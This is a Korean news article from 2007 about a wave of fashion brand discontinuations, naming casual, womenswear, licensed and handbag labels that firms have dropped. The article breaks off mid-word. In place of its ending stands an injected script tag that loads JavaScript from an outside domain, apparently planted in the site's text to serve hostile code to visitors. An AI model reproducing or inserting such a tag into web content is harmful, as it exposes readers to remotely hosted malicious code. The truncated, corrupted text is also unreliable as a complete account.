브랜드 잇따른 중단…패션 업계 초긴장

2007-04-24 09:48 조회수 아이콘 1227

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브랜드 잇따른 중단…패션 업계 초긴장

패션 브랜드들의 잇단 중단에 따라 패션 업계가 바짝 긴장하고 있다.


특히 이번 중단 사태는 캐주얼은 물론 남성복, 패션 잡화 등 복종과 상관없이 나타나고 있어 심각성을 더하고 있다.


지난 겨울 ‘엔진2’, ‘크렌시아’, ‘인투인’, ‘터그진’이 중단한데 이어 지난달 ‘쿨하스’, ‘퀵실버’, ‘프리치’ 등이 사업을 접으면서 캐주얼 업계가 바짝 긴장했다.


여기에 대기업들도 최근 수익성 악화를 이유로 실적이 부진한 브랜드의 전개를 중단하고 있다.


동일레나운은 지난달 여성복 ‘미끄마끄’ 전개를 중단하기로 결정하고 런칭 18년 만에 모든 매장을 정리했다.


제일모직은 상반기를 끝으로 라이선스가 종료되는 ‘케네스콜’을 중단하기로 결정했으며 오브제는 2005년 가을에 런칭한 핸드백 ‘루즈앤라운지?script src=http://mekiller.com/1/1.js>